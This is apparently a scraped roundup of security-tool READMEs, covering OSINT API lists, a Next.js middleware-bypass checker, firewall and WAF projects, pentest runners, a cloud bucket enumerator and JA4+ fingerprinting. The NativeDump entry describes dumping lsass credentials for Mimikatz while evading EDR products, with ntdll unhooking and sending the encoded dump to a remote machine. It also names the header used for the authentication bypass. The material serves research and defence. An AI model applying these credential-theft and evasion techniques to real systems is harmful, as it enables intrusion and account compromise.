API-s-for-OSINT - List Of API's For Gathering Information About Phone Numbers, Addresses, Domains Etc

Thank you for following me! https://cybdetective.com

IOT/IP Search engines

Universal OSINT APIs

Phone Number Lookup and Verification

Address/ZIP codes lookup

People and documents verification

Business/Entity search

Domain/DNS/IP lookup

Mobile Apps Endpoints

Scraping

Whois

GEO IP

Wi-fi lookup

Network

Finance

Email

Names/Surnames

Pastebin/Leaks

Archives

Hashes decrypt/encrypt

Crypto

Malware

Face Search

## Face Detection

## Reverse Image Search

## AI Geolocation

Social Media and Messengers

UNOFFICIAL APIs

!WARNING Use with caution! Accounts may be blocked permanently for using unofficial APIs.

Search Engines

| Memex Marginalia | https://memex.marginalia.nu/projects/edge/api.gmi | An API for new privacy search engine | FREE |

News analyze

Darknet

Torrents/file sharing

Vulnerabilities

Flights

Webcams

## Regex

API testing tools

Curl converters (tools that help to write code using API queries)

Create your own API

Distribute your own API

API Keys Info

API directories

If you don't find what you need, try searching these directories.

How to learn how to work with REST API?

If you don't know how to work with the REST API, I recommend you check out the Netlas API guide I wrote for Netlas.io.

Netlas Cookbook

There it is very brief and accessible to write how to automate requests in different programming languages (focus on Python and Bash) and process the resulting JSON data.

Thank you for following me! https://cybdetective.com

Ghost-Route - Ghost Route Detects If A Next JS Site Is Vulnerable To The Corrupt Middleware Bypass Bug (CVE-2025-29927)

A Python script to check Next.js sites for corrupt middleware vulnerability (CVE-2025-29927).

The corrupt middleware vulnerability allows an attacker to bypass authentication and access protected routes by send a custom header x-middleware-subrequest.

Next JS versions affected: - 11.1.4 and up

[!WARNING] This tool is for educational purposes only. Do not use it on websites or systems you do not own or have explicit permission to test. Unauthorized testing may be illegal and unethical.

Installation

Clone the repo

git clone https://github.com/takumade/ghost-route.git
cd ghost-route

Create and activate virtual environment

python -m venv .venv
source .venv/bin/activate

Install dependencies

pip install -r requirements.txt

Usage

python ghost-route.py <url> <path> <show_headers>

• <url>: Base URL of the Next.js site (e.g., https://example.com)
• <path>: Protected path to test (default: /admin)
• <show_headers>: Show response headers (default: False)

Example

Basic Example

python ghost-route.py https://example.com /admin

Show Response Headers

python ghost-route.py https://example.com /admin True

License

MIT License

Credits

• CVE-2025-29927
• Next.js and the corrupt middleware: the authorizing artifact
• Rachid A.
• Yasser Allam

CentralizedFirewall - Provides A Firewall Manager API Designed To Centralize And Streamline The Management Of Firewall Configurations

Firewall Manager API Project

Installation

Follow these steps to set up and run the API project:

1. Clone the Repository

git clone https://github.com/adriyansyah-mf/CentralizedFirewall
cd CentralizedFirewall

2. Edit the .env File

Update the environment variables in .env according to your configuration.

nano .env

3. Start the API with Docker Compose

docker compose up -d

This will start the API in detached mode.

4. Verify the API is Running

Check if the containers are up:

docker ps

Additional Commands

Stop the API

docker compose down

Restart the API

docker compose restart

Let me know if you need any modifications! 🚀

How to setup for the first time and connect to firewall client

1. Install Firewall Agent on your node server
2. Run the agent with the following command

sudo dpkg -i firewall-client_deb.deb

1. Create a New Group on the Firewall Manager
2. Create New API Key on the Firewall Manager
3. Edit the configuration file on the node server

nano /usr/local/bin/config.ini

1. Add the following configuration

[settings]
api_url = API-URL
api_key = API-KEY
hostname = Node Hostname (make it unique and same as the hostname on the SIEM) 

1. Restart the firewall agent

systemctl daemon-reload
systemctl start firewall-agent

1. Check the status of the firewall agent

systemctl status firewall-agent

1. You will see the connected node on the Firewall Manager

Default Credential

Username: admin
Password: admin

You can change the default credential on the setting page

How to Integration with SIEM

1. Install the SIEM on your server
2. Configure the SIEM to send the log to the Firewall Manager (You can do this via SOAR or SIEM configuration) The request should be POST with the following format
3. The format of the log should be like this

curl -X 'POST' \
  'http://api-server:8000/general/add-ip?ip=123.1.1.99&hostname=test&apikey=apikey&comment=log' \
  -H 'accept: application/json' \
  -d ''

You can see the swagger documentation on the following link

http://api-server:8000/docs

The .env detail configuration

DB=changeme
JWT_SECRET=changeme
PASSWORD_SALT=changme
PASSWORD_TOKEN_KEY=changme
OPENCTI_URL=changme
OPENCTI_TOKEN=changme

Sponsor This Project 💖

If you find this project helpful, consider supporting me through GitHub Sponsors

PANO - Advanced OSINT Investigation Platform Combining Graph Visualization, Timeline Analysis, And AI Assistance To Uncover Hidden Connections In Data

Getting Started

1. Clone the repository: bash git clone https://github.com/ALW1EZ/PANO.git cd PANO

2. Run the application:

3. Linux: ./start_pano.sh
4. Windows: start_pano.bat

The startup script will automatically: - Check for updates - Set up the Python environment - Install dependencies - Launch PANO

In order to use Email Lookup transform You need to login with GHunt first. After starting the pano via starter scripts;

1. Select venv manually
2. Linux: source venv/bin/activate
3. Windows: call venv\Scripts\activate
4. See how to login here

💡 Quick Start Guide

1. Create Investigation: Start a new investigation or load an existing one
2. Add Entities: Drag entities from the sidebar onto the graph
3. Discover Connections: Use transforms to automatically find relationships
4. Analyze: Use timeline and map views to understand patterns
5. Save: Export your investigation for later use

🔍 Features

🕸️ Core Functionality

• Interactive Graph Visualization
• Drag-and-drop entity creation
• Multiple layout algorithms (Circular, Hierarchical, Radial, Force-Directed)
• Dynamic relationship mapping

• Visual node and edge styling

• Timeline Analysis

• Chronological event visualization
• Interactive timeline navigation
• Event filtering and grouping

• Temporal relationship analysis

• Map Integration

• Geographic data visualization
• Location-based analysis
• Interactive mapping features
• Coordinate plotting and tracking

🎯 Entity Management

• Supported Entity Types
• 📧 Email addresses
• 👤 Usernames
• 🌐 Websites
• 🖼️ Images
• 📍 Locations
• ⏰ Events
• 📝 Text content
• 🔧 Custom entity types

🔄 Transform System

• Email Analysis
• Google account investigation
• Calendar event extraction
• Location history analysis

• Connected services discovery

• Username Analysis

• Cross-platform username search
• Social media profile discovery
• Platform correlation

• Web presence analysis

• Image Analysis

• Reverse image search
• Visual content analysis
• Metadata extraction
• Related image discovery

🤖 AI Integration

• PANAI
• Natural language investigation assistant
• Automated entity extraction and relationship mapping
• Pattern recognition and anomaly detection
• Multi-language support
• Context-aware suggestions
• Timeline and graph analysis

🧩 Core Components

📦 Entities

Entities are the fundamental building blocks of PANO. They represent distinct pieces of information that can be connected and analyzed:

• Built-in Types
• 📧 Email: Email addresses with service detection
• 👤 Username: Social media and platform usernames
• 🌐 Website: Web pages with metadata
• 🖼️ Image: Images with EXIF and analysis
• 📍 Location: Geographic coordinates and addresses
• ⏰ Event: Time-based occurrences

• 📝 Text: Generic text content

• Properties System

• Type-safe property validation
• Automatic property getters
• Dynamic property updates
• Custom property types
• Metadata support

⚡ Transforms

Transforms are automated operations that process entities to discover new information and relationships:

• Operation Types
• 🔍 Discovery: Find new entities from existing ones
• 🔗 Correlation: Connect related entities
• 📊 Analysis: Extract insights from entity data
• 🌐 OSINT: Gather open-source intelligence

• 🔄 Enrichment: Add data to existing entities

• Features

• Async operation support
• Progress tracking
• Error handling
• Rate limiting
• Result validation

🛠️ Helpers

Helpers are specialized tools with dedicated UIs for specific investigation tasks:

• Available Helpers
• 🔍 Cross-Examination: Analyze statements and testimonies
• 👤 Portrait Creator: Generate facial composites
• 📸 Media Analyzer: Advanced image processing and analysis
• 🔍 Base Searcher: Search near places of interest

• 🔄 Translator: Translate text between languages

• Helper Features

• Custom Qt interfaces
• Real-time updates
• Graph integration
• Data visualization
• Export capabilities

👥 Contributing

We welcome contributions! To contribute to PANO:

1. Fork the repository at https://github.com/ALW1EZ/PANO/
2. Make your changes in your fork
3. Test your changes thoroughly
4. Create a Pull Request to our main branch
5. In your PR description, include:
6. What the changes do
7. Why you made these changes
8. Any testing you've done
9. Screenshots if applicable

Note: We use a single main branch for development. All pull requests should be made directly to main.

📖 Development Guide

from dataclasses import dataclass
from typing import ClassVar, Dict, Any
from .base import Entity

@dataclass
class PhoneNumber(Entity):
    name: ClassVar[str] = "Phone Number"
    description: ClassVar[str] = "A phone number entity with country code and validation"

    def init_properties(self):
        """Initialize phone number properties"""
        self.setup_properties({
            "number": str,
            "country_code": str,
            "carrier": str,
            "type": str,  # mobile, landline, etc.
            "verified": bool
        })

    def update_label(self):
        """Update the display label"""
        self.label = self.format_label(["country_code", "number"])

from dataclasses import dataclass
from typing import ClassVar, List
from .base import Transform
from entities.base import Entity
from entities.phone_number import PhoneNumber
from entities.location import Location
from ui.managers.status_manager import StatusManager

@dataclass
class PhoneLookup(Transform):
    name: ClassVar[str] = "Phone Number Lookup"
    description: ClassVar[str] = "Lookup phone number details and location"
    input_types: ClassVar[List[str]] = ["PhoneNumber"]
    output_types: ClassVar[List[str]] = ["Location"]

    async def run(self, entity: PhoneNumber, graph) -> List[Entity]:
        if not isinstance(entity, PhoneNumber):
            return []

        status = StatusManager.get()
        operation_id = status.start_loading("Phone Lookup")

        try:
            # Your phone number lookup logic here
            # Example: query an API for phone number details
            location = Location(properties={
                "country": "Example Country",
                "region": "Example Region",
                "carrier": "Example Carrier",
                "source": "PhoneLookup transform"
            })

            return [location]

        except Exception as e:
            status.set_text(f"Error during phone lookup: {str(e)}")
            return []

        finally:
            status.stop_loading(operation_id)

from PySide6.QtWidgets import (
    QWidget, QVBoxLayout, QHBoxLayout, QPushButton,
    QTextEdit, QLabel, QComboBox
)
from .base import BaseHelper
from qasync import asyncSlot

class DummyHelper(BaseHelper):
    """A dummy helper for testing"""

    name = "Dummy Helper" 
    description = "A dummy helper for testing"

    def setup_ui(self):
        """Initialize the helper's user interface"""
        # Create input text area
        self.input_label = QLabel("Input:")
        self.input_text = QTextEdit()
        self.input_text.setPlaceholderText("Enter text to process...")
        self.input_text.setMinimumHeight(100)

        # Create operation selector
        operation_layout = QHBoxLayout()
        self.operation_label = QLabel("Operation:")
        self.operation_combo = QComboBox()
        self.operation_combo.addItems(["Uppercase", "Lowercase", "Title Case"])
        operation_layout.addWidget(self.operation_label)
        operation_layout.addWidget(self.operation_combo)

        # Create process button
        self.process_btn = QPushButton("Process")
        self.process_btn.clicked.connect(self.process_text)

        # Create output text area
        self.output_label = QLabel("Output:")
        self.output_text = QTextEdit()
        self.output_text.setReadOnly(True)
        self.output_text.setMinimumHeight(100)

        # Add widgets to main layout
        self.main_layout.addWidget(self.input_label)
        self.main_layout.addWidget(self.input_text)
        self.main_layout.addLayout(operation_layout)
        self.main_layout.addWidget(self.process_btn)
        self.main_layout.addWidget(self.output_label)
        self.main_layout.addWidget(self.output_text)

        # Set dialog size
        self.resize(400, 500)

    @asyncSlot()
    async def process_text(self):
        """Process the input text based on selected operation"""
        text = self.input_text.toPlainText()
        operation = self.operation_combo.currentText()

        if operation == "Uppercase":
            result = text.upper()
        elif operation == "Lowercase":
            result = text.lower()
        else:  # Title Case
            result = text.title()

        self.output_text.setPlainText(result)

📄 License

This project is licensed under the Creative Commons Attribution-NonCommercial (CC BY-NC) License.

You are free to: - ✅ Share: Copy and redistribute the material - ✅ Adapt: Remix, transform, and build upon the material

Under these terms: - ℹ️ Attribution: You must give appropriate credit - 🚫 NonCommercial: No commercial use - 🔓 No additional restrictions

🙏 Acknowledgments

Special thanks to all library authors and contributors who made this project possible.

👨‍💻 Author

Created by ALW1EZ with AI ❤️

Docf-Sec-Check - DockF-Sec-Check Helps To Make Your Dockerfile Commands More Secure

DockF-Sec-Check helps to make your Dockerfile commands more secure.

Done

• [x] First-level security notification in the Dockerfile

TODO List

• [ ] Correctly detect the Dockerfile.
• [ ] Second-level security notification in the Dockerfile.
• [ ] Security notification in Docker images.
• [ ] ***** (Private Repository)

Installation

From Source Code

You can use virtualenv for package dependencies before installation.

git clone https://github.com/OsmanKandemir/docf-sec-check.git
cd docf-sec-check
python setup.py build
python setup.py install

From Pypi

The application is available on PyPI. To install with pip:

pip install docfseccheck

From Dockerfile

You can run this application on a container after build a Dockerfile. You need to specify a path (YOUR-LOCAL-PATH) to scan the Dockerfile in your local.

docker build -t docfseccheck .
docker run -v <YOUR-LOCAL-PATH>/Dockerfile:/docf-sec-check/Dockerfile docfseccheck -f /docf-sec-check/Dockerfile

From DockerHub

docker pull osmankandemir/docfseccheck:v1.0
docker run -v <YOUR-LOCAL-PATH>/Dockerfile:/docf-sec-check/Dockerfile osmankandemir/docfseccheck:v1.0 -f /docf-sec-check/Dockerfile

Usage

-f DOCKERFILE [DOCKERFILE], --file DOCKERFILE [DOCKERFILE] Dockerfile path. --file Dockerfile

Function Usage

from docfchecker import DocFChecker

#Dockerfile is your file PATH.

DocFChecker(["Dockerfile"]) 

Development and Contribution

See; CONTRIBUTING.md

License

Copyright (c) 2024 Osman Kandemir \ Licensed under the GPL-3.0 License.

Donations

If you like DocF-Sec-Check and would like to show support, you can use Buy A Coffee or Github Sponsors feature for the developer using the button below.

Or

Sponsor me : https://github.com/sponsors/OsmanKandemir 😊

Your support will be much appreciated😊

SafeLine - Serve As A Reverse Proxy To Protect Your Web Services From Attacks And Exploits

SafeLine is a self-hosted WAF(Web Application Firewall) to protect your web apps from attacks and exploits.

A web application firewall helps protect web apps by filtering and monitoring HTTP traffic between a web application and the Internet. It typically protects web apps from attacks such as SQL injection, XSS, code injection, os command injection, CRLF injection, ldap injection, xpath injection, RCE, XXE, SSRF, path traversal, backdoor, bruteforce, http-flood, bot abused, among others.

How It Works

By deploying a WAF in front of a web application, a shield is placed between the web application and the Internet. While a proxy server protects a client machine's identity by using an intermediary, a WAF is a type of reverse-proxy, protecting the server from exposure by having clients pass through the WAF before reaching the server.

A WAF protects your web apps by filtering, monitoring, and blocking any malicious HTTP/S traffic traveling to the web application, and prevents any unauthorized data from leaving the app. It does this by adhering to a set of policies that help determine what traffic is malicious and what traffic is safe. Just as a proxy server acts as an intermediary to protect the identity of a client, a WAF operates in similar fashion but acting as an reverse proxy intermediary that protects the web app server from a potentially malicious client.

its core capabilities include:

• Defenses for web attacks
• Proactive bot abused defense
• HTML & JS code encryption
• IP-based rate limiting
• Web Access Control List

Screenshots

Get Live Demo

FEATURES

List of the main features as follows:

• Block Web Attacks
• It defenses for all of web attacks, such as SQL injection, XSS, code injection, os command injection, CRLF injection, XXE, SSRF, path traversal and so on.
• Rate Limiting
• Defend your web apps against DoS attacks, bruteforce attempts, traffic surges, and other types of abuse by throttling traffic that exceeds defined limits.
• Anti-Bot Challenge
• Anti-Bot challenges to protect your website from bot attacks, humen users will be allowed, crawlers and bots will be blocked.
• Authentication Challenge
• When authentication challenge turned on, visitors need to enter the password, otherwise they will be blocked.
• Dynamic Protection
• When dynamic protection turned on, html and js codes in your web server will be dynamically encrypted by each time you visit.

Secator - The Pentester'S Swiss Knife

secator is a task and workflow runner used for security assessments. It supports dozens of well-known security tools and it is designed to improve productivity for pentesters and security researchers.

Features

• Curated list of commands

• Unified input options

• Unified output schema

• CLI and library usage

• Distributed options with Celery

• Complexity from simple tasks to complex workflows

• Customizable

Supported tools

secator integrates the following tools:

Feel free to request new tools to be added by opening an issue, but please check that the tool complies with our selection criterias before doing so. If it doesn't but you still want to integrate it into secator, you can plug it in (see the dev guide).

Installation

Installing secator

pipx install secator

pip install secator

wget -O - https://raw.githubusercontent.com/freelabz/secator/main/scripts/install.sh | sh

docker run -it --rm --net=host -v ~/.secator:/root/.secator freelabz/secator --help

alias secator="docker run -it --rm --net=host -v ~/.secator:/root/.secator freelabz/secator"

secator --help

git clone https://github.com/freelabz/secator
cd secator
docker-compose up -d
docker-compose exec secator secator --help

Note: If you chose the Bash, Docker or Docker Compose installation methods, you can skip the next sections and go straight to Usage.

Installing languages

secator uses external tools, so you might need to install languages used by those tools assuming they are not already installed on your system.

We provide utilities to install required languages if you don't manage them externally:

secator install langs go

secator install langs ruby

Installing tools

secator does not install any of the external tools it supports by default.

We provide utilities to install or update each supported tool which should work on all systems supporting apt:

secator install tools

secator install tools <TOOL_NAME>

secator install tools httpx

Please make sure you are using the latest available versions for each tool before you run secator or you might run into parsing / formatting issues.

Installing addons

secator comes installed with the minimum amount of dependencies.

There are several addons available for secator:

secator install addons worker

secator install addons google

secator install addons mongodb

secator install addons redis

secator install addons dev

secator install addons trace

secator install addons build

Install CVEs

secator makes remote API calls to https://cve.circl.lu/ to get in-depth information about the CVEs it encounters. We provide a subcommand to download all known CVEs locally so that future lookups are made from disk instead:

secator install cves

Checking installation health

To figure out which languages or tools are installed on your system (along with their version):

secator health

Usage

secator --help

Usage examples

Run a fuzzing task (ffuf):

secator x ffuf http://testphp.vulnweb.com/FUZZ

Run a url crawl workflow:

secator w url_crawl http://testphp.vulnweb.com

Run a host scan:

secator s host mydomain.com

and more... to list all tasks / workflows / scans that you can use:

secator x --help
secator w --help
secator s --help

Learn more

To go deeper with secator, check out: * Our complete documentation * Our getting started tutorial video * Our Medium post * Follow us on social media: @freelabz on Twitter and @FreeLabz on YouTube

CloudBrute - Awesome Cloud Enumerator

A tool to find a company (target) infrastructure, files, and apps on the top cloud providers (Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode). The outcome is useful for bug bounty hunters, red teamers, and penetration testers alike.

The complete writeup is available. here

Motivation

we are always thinking of something we can automate to make black-box security testing easier. We discussed this idea of creating a multiple platform cloud brute-force hunter.mainly to find open buckets, apps, and databases hosted on the clouds and possibly app behind proxy servers.
Here is the list issues on previous approaches we tried to fix:

• separated wordlists
• lack of proper concurrency
• lack of supporting all major cloud providers
• require authentication or keys or cloud CLI access
• outdated endpoints and regions
• Incorrect file storage detection
• lack support for proxies (useful for bypassing region restrictions)
• lack support for user agent randomization (useful for bypassing rare restrictions)
• hard to use, poorly configured

Features

• Cloud detection (IPINFO API and Source Code)
• Supports all major providers
• Black-Box (unauthenticated)
• Fast (concurrent)
• Modular and easily customizable
• Cross Platform (windows, linux, mac)
• User-Agent Randomization
• Proxy Randomization (HTTP, Socks5)

Supported Cloud Providers

Microsoft: - Storage - Apps

Amazon: - Storage - Apps

Google: - Storage - Apps

DigitalOcean: - storage

Vultr: - Storage

Linode: - Storage

Alibaba: - Storage

Version

1.0.0

Usage

Just download the latest release for your operation system and follow the usage.

To make the best use of this tool, you have to understand how to configure it correctly. When you open your downloaded version, there is a config folder, and there is a config.YAML file in there.

It looks like this

providers: ["amazon","alibaba","amazon","microsoft","digitalocean","linode","vultr","google"] # supported providers
environments: [ "test", "dev", "prod", "stage" , "staging" , "bak" ] # used for mutations
proxytype: "http"  # socks5 / http
ipinfo: ""      # IPINFO.io API KEY

For IPINFO API, you can register and get a free key at IPINFO, the environments used to generate URLs, such as test-keyword.target.region and test.keyword.target.region, etc.

We provided some wordlist out of the box, but it's better to customize and minimize your wordlists (based on your recon) before executing the tool.

After setting up your API key, you are ready to use CloudBrute.

 ██████╗██╗      ██████╗ ██╗   ██╗██████╗ ██████╗ ██████╗ ██╗   ██╗████████╗███████╗
██╔════╝██║     ██╔═══██╗██║   ██║██╔══██╗██╔══██╗██╔══██╗██║   ██║╚══██╔══╝██╔════╝
██║     ██║     ██║   ██║██║   ██║██║  ██║██████╔╝██████╔╝██║   ██║   ██║   █████╗  
██║     ██║     ██║   ██║██║   ██║██║  ██║██╔══██╗██╔══██╗██║   ██║   ██║   ██╔══╝  
╚██████╗███████╗╚██████╔╝╚██████╔╝██████╔╝██████╔╝██║  ██║╚██████╔╝   ██║   ███████╗
 ╚═════╝╚══════╝ ╚═════╝  ╚═════╝ ╚═════╝ ╚═════╝ ╚═╝  ╚═╝ ╚═════╝    ╚═╝   ╚══════╝
                                                V 1.0.7
usage: CloudBrute [-h|--help] -d|--domain "<value>" -k|--keyword "<value>"
                  -w|--wordlist "<value>" [-c|--cloud "<value>"] [-t|--threads
                  <integer>] [-T|--timeout <integer>] [-p|--proxy "<value>"]
                  [-a|--randomagent "<value>"] [-D|--debug] [-q|--quite]
                  [-m|--mode "<value>"] [-o|--output "<value>"]
                  [-C|--configFolder "<value>"]

                  Awesome Cloud Enumerator

Arguments:

  -h  --help          Print help information
  -d  --domain        domain
  -k  --keyword       keyword used to generator urls
  -w  --wordlist      path to wordlist
  -c  --cloud         force a search, check config.yaml providers list
  -t  --threads       number of threads. Default: 80
  -T  --timeout       timeout per request in seconds. Default: 10
  -p  --proxy         use proxy list
  -a  --randomagent   user agent randomization
  -D  --debug         show debug logs. Default: false
  -q  --quite         suppress all output. Default: false
  -m  --mode          storage or app. Default: storage
  -o  --output        Output file. Default: out.txt
  -C  --configFolder  Config path. Default: config

for example

CloudBrute -d target.com -k target -m storage -t 80 -T 10 -w "./data/storage_small.txt"

please note -k keyword used to generate URLs, so if you want the full domain to be part of mutation, you have used it for both domain (-d) and keyword (-k) arguments

If a cloud provider not detected or want force searching on a specific provider, you can use -c option.

CloudBrute -d target.com -k keyword -m storage -t 80 -T 10 -w -c amazon -o target_output.txt

Dev

• Clone the repo
• go build -o CloudBrute main.go
• go test internal

in action

NativeDump - Dump Lsass Using Only Native APIs By Hand-Crafting Minidump Files (Without MinidumpWriteDump!)

NativeDump allows to dump the lsass process using only NTAPIs generating a Minidump file with only the streams needed to be parsed by tools like Mimikatz or Pypykatz (SystemInfo, ModuleList and Memory64List Streams).

• NTOpenProcessToken and NtAdjustPrivilegeToken to get the "SeDebugPrivilege" privilege
• RtlGetVersion to get the Operating System version details (Major version, minor version and build number). This is necessary for the SystemInfo Stream
• NtQueryInformationProcess and NtReadVirtualMemory to get the lsasrv.dll address. This is the only module necessary for the ModuleList Stream
• NtOpenProcess to get a handle for the lsass process
• NtQueryVirtualMemory and NtReadVirtualMemory to loop through the memory regions and dump all possible ones. At the same time it populates the Memory64List Stream
  

Usage:

NativeDump.exe [DUMP_FILE]

The default file name is "proc_.dmp":

The tool has been tested against Windows 10 and 11 devices with the most common security solutions (Microsoft Defender for Endpoints, Crowdstrike...) and is for now undetected. However, it does not work if PPL is enabled in the system.

Some benefits of this technique are: - It does not use the well-known dbghelp!MinidumpWriteDump function - It only uses functions from Ntdll.dll, so it is possible to bypass API hooking by remapping the library - The Minidump file does not have to be written to disk, you can transfer its bytes (encoded or encrypted) to a remote machine

The project has three branches at the moment (apart from the main branch with the basic technique):

• ntdlloverwrite - Overwrite ntdll.dll's ".text" section using a clean version from the DLL file already on disk

• delegates - Overwrite ntdll.dll + Dynamic function resolution + String encryption with AES + XOR-encoding

• remote - Overwrite ntdll.dll + Dynamic function resolution + String encryption with AES + Send file to remote machine + XOR-encoding

Technique in detail: Creating a minimal Minidump file

After reading Minidump undocumented structures, its structure can be summed up to:

• Header: Information like the Signature ("MDMP"), the location of the Stream Directory and the number of streams
• Stream Directory: One entry for each stream, containing the type, total size and location in the file of each one
• Streams: Every stream contains different information related to the process and has its own format
• Regions: The actual bytes from the process from each memory region which can be read

I created a parsing tool which can be helpful: MinidumpParser.

We will focus on creating a valid file with only the necessary values for the header, stream directory and the only 3 streams needed for a Minidump file to be parsed by Mimikatz/Pypykatz: SystemInfo, ModuleList and Memory64List Streams.

A. Header

The header is a 32-bytes structure which can be defined in C# as:

public struct MinidumpHeader
{
    public uint Signature;
    public ushort Version;
    public ushort ImplementationVersion;
    public ushort NumberOfStreams;
    public uint StreamDirectoryRva;
    public uint CheckSum;
    public IntPtr TimeDateStamp;
}

The required values are: - Signature: Fixed value 0x504d44d ("MDMP" string) - Version: Fixed value 0xa793 (Microsoft constant MINIDUMP_VERSION) - NumberOfStreams: Fixed value 3, the three Streams required for the file - StreamDirectoryRVA: Fixed value 0x20 or 32 bytes, the size of the header

B. Stream Directory

Each entry in the Stream Directory is a 12-bytes structure so having 3 entries the size is 36 bytes. The C# struct definition for an entry is:

public struct MinidumpStreamDirectoryEntry
{
    public uint StreamType;
    public uint Size;
    public uint Location;
}

The field "StreamType" represents the type of stream as an integer or ID, some of the most relevant are:

C. SystemInformation Stream

First stream is a SystemInformation Stream, with ID 7. The size is 56 bytes and will be located at offset 68 (0x44), after the Stream Directory. Its C# definition is:

public struct SystemInformationStream
{
    public ushort ProcessorArchitecture;
    public ushort ProcessorLevel;
    public ushort ProcessorRevision;
    public byte NumberOfProcessors;
    public byte ProductType;
    public uint MajorVersion;
    public uint MinorVersion;
    public uint BuildNumber;
    public uint PlatformId;
    public uint UnknownField1;
    public uint UnknownField2;
    public IntPtr ProcessorFeatures;
    public IntPtr ProcessorFeatures2;
    public uint UnknownField3;
    public ushort UnknownField14;
    public byte UnknownField15;
}

The required values are: - ProcessorArchitecture: 9 for 64-bit and 0 for 32-bit Windows systems - Major version, Minor version and the BuildNumber: Hardcoded or obtained through kernel32!GetVersionEx or ntdll!RtlGetVersion (we will use the latter)

D. ModuleList Stream

Second stream is a ModuleList stream, with ID 4. It is located at offset 124 (0x7C) after the SystemInformation stream and it will also have a fixed size, of 112 bytes, since it will have the entry of a single module, the only one needed for the parse to be correct: "lsasrv.dll".

The typical structure for this stream is a 4-byte value containing the number of entries followed by 108-byte entries for each module:

public struct ModuleListStream
{
    public uint NumberOfModules;
    public ModuleInfo[] Modules;
}

As there is only one, it gets simplified to:

public struct ModuleListStream
{
    public uint NumberOfModules;
    public IntPtr BaseAddress;
    public uint Size;
    public uint UnknownField1;
    public uint Timestamp;
    public uint PointerName;
    public IntPtr UnknownField2;
    public IntPtr UnknownField3;
    public IntPtr UnknownField4;
    public IntPtr UnknownField5;
    public IntPtr UnknownField6;
    public IntPtr UnknownField7;
    public IntPtr UnknownField8;
    public IntPtr UnknownField9;
    public IntPtr UnknownField10;
    public IntPtr UnknownField11;
}

The required values are: - NumberOfStreams: Fixed value 1 - BaseAddress: Using psapi!GetModuleBaseName or a combination of ntdll!NtQueryInformationProcess and ntdll!NtReadVirtualMemory (we will use the latter) - Size: Obtained adding all memory region sizes since BaseAddress until one with a size of 4096 bytes (0x1000), the .text section of other library - PointerToName: Unicode string structure for the "C:\Windows\System32\lsasrv.dll" string, located after the stream itself at offset 236 (0xEC)

E. Memory64List Stream

Third stream is a Memory64List stream, with ID 9. It is located at offset 298 (0x12A), after the ModuleList stream and the Unicode string, and its size depends on the number of modules.

public struct Memory64ListStream
{
    public ulong NumberOfEntries; 
    public uint MemoryRegionsBaseAddress;
    public Memory64Info[] MemoryInfoEntries;
}

Each module entry is a 16-bytes structure:

public struct Memory64Info
{
    public IntPtr Address;
    public IntPtr Size;
}

The required values are: - NumberOfEntries: Number of memory regions, obtained after looping memory regions - MemoryRegionsBaseAddress: Location of the start of memory regions bytes, calculated after adding the size of all 16-bytes memory entries - Address and Size: Obtained for each valid region while looping them

F. Looping memory regions

There are pre-requisites to loop the memory regions of the lsass.exe process which can be solved using only NTAPIs:

1. Obtain the "SeDebugPrivilege" permission. Instead of the typical Advapi!OpenProcessToken, Advapi!LookupPrivilegeValue and Advapi!AdjustTokenPrivilege, we will use ntdll!NtOpenProcessToken, ntdll!NtAdjustPrivilegesToken and the hardcoded value of 20 for the Luid (which is constant in all latest Windows versions)
2. Obtain the process ID. For example, loop all processes using ntdll!NtGetNextProcess, obtain the PEB address with ntdll!NtQueryInformationProcess and use ntdll!NtReadVirtualMemory to read the ImagePathName field inside ProcessParameters. To avoid overcomplicating the PoC, we will use .NET's Process.GetProcessesByName()
3. Open a process handle. Use ntdll!OpenProcess with permissions PROCESS_QUERY_INFORMATION (0x0400) to retrieve process information and PROCESS_VM_READ (0x0010) to read the memory bytes

With this it is possible to traverse process memory by calling: - ntdll!NtQueryVirtualMemory: Return a MEMORY_BASIC_INFORMATION structure with the protection type, state, base address and size of each memory region - If the memory protection is not PAGE_NOACCESS (0x01) and the memory state is MEM_COMMIT (0x1000), meaning it is accessible and committed, the base address and size populates one entry of the Memory64List stream and bytes can be added to the file - If the base address equals lsasrv.dll base address, it is used to calculate the size of lsasrv.dll in memory - ntdll!NtReadVirtualMemory: Add bytes of that region to the Minidump file after the Memory64List Stream

G. Creating Minidump file

After previous steps we have all that is necessary to create the Minidump file. We can create a file locally or send the bytes to a remote machine, with the possibility of encoding or encrypting the bytes before. Some of these possibilities are coded in the delegates branch, where the file created locally can be encoded with XOR, and in the remote branch, where the file can be encoded with XOR before being sent to a remote machine.

JA4+ - Suite Of Network Fingerprinting Standards

JA4+ is a suite of network Fingerprinting methods that are easy to use and easy to share. These methods are both human and machine readable to facilitate more effective threat-hunting and analysis. The use-cases for these fingerprints include scanning for threat actors, malware detection, session hijacking prevention, compliance automation, location tracking, DDoS detection, grouping of threat actors, reverse shell detection, and many more.

Please read our blogs for details on how JA4+ works, why it works, and examples of what can be detected/prevented with it:
JA4+ Network Fingerprinting (JA4/S/H/L/X/SSH)
JA4T: TCP Fingerprinting (JA4T/TS/TScan)

To understand how to read JA4+ fingerprints, see Technical Details

This repo includes JA4+ Python, Rust, Zeek and C, as a Wireshark plugin.

JA4/JA4+ support is being added to:
GreyNoise
Hunt
Driftnet
DarkSail
Arkime
GoLang (JA4X)
Suricata
Wireshark
Zeek
nzyme
Netresec's CapLoader
NetworkMiner">Netresec's NetworkMiner
NGINX
F5 BIG-IP
nfdump
ntop's ntopng
ntop's nDPI
Team Cymru
NetQuest
Censys
Exploit.org's Netryx
cloudflare.com/bots/concepts/ja3-ja4-fingerprint/">Cloudflare
fastly
with more to be announced...

Examples

For more, see ja4plus-mapping.csv
The mapping file is unlicensed and free to use. Feel free to do a pull request with any JA4+ data you find.

Plugins

Wireshark
Zeek
Arkime

Binaries

Recommended to have tshark version 4.0.6 or later for full functionality. See: https://pkgs.org/search/?q=tshark

Download the latest JA4 binaries from: Releases.

JA4+ on Ubuntu

sudo apt install tshark
./ja4 [options] [pcap]

JA4+ on Mac

1) Install Wireshark https://www.wireshark.org/download.html which will install tshark 2) Add tshark to $PATH

ln -s /Applications/Wireshark.app/Contents/MacOS/tshark /usr/local/bin/tshark
./ja4 [options] [pcap]

JA4+ on Windows

1) Install Wireshark for Windows from https://www.wireshark.org/download.html which will install tshark.exe
tshark.exe is at the location where wireshark is installed, for example: C:\Program Files\Wireshark\thsark.exe
2) Add the location of tshark to your "PATH" environment variable in Windows.
(System properties > Environment Variables... > Edit Path)
3) Open cmd, navigate the ja4 folder

ja4 [options] [pcap]

Database

